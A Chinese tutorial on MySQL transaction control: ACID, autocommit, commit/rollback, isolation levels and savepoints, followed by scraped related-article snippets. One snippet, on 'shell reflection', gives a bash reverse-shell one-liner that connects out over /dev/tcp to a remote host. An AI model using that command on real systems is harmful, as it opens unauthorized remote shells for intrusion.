MySql的事务控制(TCL语言)
⒈事务
一个或一组sql语句组成一个执行单元,这个执行单元要么全部执行,要么全部不执行。
⒉事务的特性(ACID)
1.原子性(Atomicity):一个事务不可再分割,要么都执行要么都不执行。
2.一致性(Consistency):一个事务执行会使数据从一个一致状态切换到另外一个一致状态。
3.隔离性(Isolation):一个事务的执行不受其它事务的干扰。
4.持久性(Durability):一个事务一旦提交,则会永久的改变数据库的数据。
⒊事务的创建
1.隐式事务:事务没有明显的开启和结束的标记,例如insert、update和delete语句
2.显式事务:事务具有明显的开启和结束的标记。前提,必须先设置自动提交功能为禁用。set autocommit = 0;
显示当前事务状态 show variables like 'autocommit';
⒋事务过程
①开启事务
set autocommit = 0;
start transaction; #可选
②编写事务中的sql语句(select、insert、update、delete)
语句1;
语句2;
....
③结束事务
commit; #提交事务
rollback; #回滚事务
⒌事务的隔离级别
| 级别 | 脏读 | 不可重复读 | 幻读 |
|
read uncommitted 读未提交(数据) |
✓ | ✓ | ✓ |
|
read committed 读已提交(数据) |
✗ | ✓ | ✓ |
|
repeatable read 可重复读 |
✗ | ✗ | ✓ |
|
serializable 串行化 |
✗ | ✗ | ✗ |
MySql中默认第三个隔离级别:repeatable read(可重复读)
Oracle中默认第二个隔离级别:read committed(读已提交)
查看隔离级别:select @@tx_isolation
设置隔离级别:set session|global transaction isolation level
⒍SAVEPOINT回滚点
在sql中设置
语句1;
savepoint a; #设置回滚点
语句2;
rollback to a; #回滚到指定的回滚点
MySql的事务控制(TCL语言)的更多相关文章
- mysql DBI 事务控制
事务: 事务是任何健壮数据库系统的基本组成,它们 防止错误和数据库腐败通过确保有关数据的改变是原子发生的(不可分割的,要么所有要么什么都不做) 这个章节应用于数据库支持事务和 AutoCommit 是 ...
- 【MyBatis】MyBatis 连接池和事务控制
MyBatis 连接池和事务控制 文章源码 MyBaits 连接池 实际开发中都会使用连接池,因为它可以减少获取连接所消耗的时间.具体可查看 MyBatis 数据源配置在 SqlMapConfig.x ...
- MySQL数据库笔记三:数据查询语言(DQL)与事务控制语言(TCL)
五.数据查询语言(DQL) (重中之重) 完整语法格式: select 表达式1|字段,.... [from 表名 where 条件] [group by 列名] [having 条件] [order ...
- MySQL笔记总结-TCL语言
TCL语言 事务 一.含义 事务控制语言 Transaction Control Language 事务:一条或多条sql语句组成一个执行单位,一组sql语句要么都执行要么都不执行 二.特点(ACID ...
- Mysql锁机制和事务控制
如何加锁 锁定表的语法: LOCK TABLES tbl_name [AS alias] {READ [LOCAL] | [LOW_PRIORITY] WRITE} [, tbl_n ...
- mysql 开发基础系列20 事务控制和锁定语句(上)
一.概述 在mysql 里不同存储引擎有不同的锁,默认情况下,表锁和行锁都是自动获得的,不需要额外的命令, 有的情况下,用户需要明确地进行锁表或者进行事务的控制,以便确保整个事务的完整性.这样就需要使 ...
- 14.Mysql事务控制和锁定
14.事务控制和锁定存储引擎和锁: MyISAM和MEMORY存储引擎的表支持表级锁: BDB存储引擎的表支持页级锁: InnoDB存储引擎的表支持行级锁.默认情况下,表锁和行锁都是根据执行的语句自动 ...
- (1.3)mysql 事务控制和锁定语句
(1.3)mysql 事务控制和锁定语句 lock table 参考转载自:https://www.cnblogs.com/kerrycode/p/6991502.html 关键词:mysql loc ...
- mysql事务控制和锁定语句
MySQL 支持对 MyISAM 和 MEMORY 存储引擎的表进行表级锁定,对 BDB 存储引擎的表进行页级锁定,对 InnoDB 存储引擎的表进行行级锁定.默认情况下,表锁和行锁都是自动获得的,不 ...
随机推荐
- (十二)Deleting Documents
Deleting a document is fairly straightforward. This example shows how to delete our previous custome ...
- CF1012B Chemical table
$CF1012B Chemical table 给你一个 \(n\times m\) 的矩形,一开始有 \(q\) 个格子上被标记.对于任意两行两列,如果交汇的四个格子中有三个被标记,那么第 \(4\ ...
- shell反射
一.介绍 bash反射就是反弹一个交互的shell,类似ssh连接,可以执行命令 二.使用命令 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 ...
- nginx.conf配置详解
######Nginx配置文件nginx.conf中文详解##### #定义Nginx运行的用户和用户组 user www www; #nginx进程数,建议设置为等于CPU总核心数. worker_ ...
- 对Datatable中过长内容实行省略话
, 16) + '...</a>' } // 点击跳转的实现 else { return '<a id="taskFocus" href="/task_ ...
- Vue学习笔记5
列表渲染 用 v-for 把一个数组对应为一组元素 <div id="app"> <li v-for = "item in array"> ...
- Azure Machine Learning
About me In my spare time, I love learning new technologies and going to hackathons. Our hackathon p ...
- input按钮使用方法
- Windows服务器【由于系统缓冲区空间不足或队列已满,不能执行套接字上的操作】问题调查
今天测试反应了一个问题,说接口返回的速度变慢了,并且返回的数据也不对.然后就找到了我o(╥﹏╥)o. 第一个反应就是查日志,不查不要紧,一查吓一跳,整个服务器上所有的站点都报错了.异常信息如下: Sy ...
- BZOJ4241历史研究——回滚莫队
题目描述 IOI国历史研究的第一人——JOI教授,最近获得了一份被认为是古代IOI国的住民写下的日记.JOI教授为了通过这份日记来研究古代IOI国的生活,开始着手调查日记中记载的事件. 日记中记录了连 ...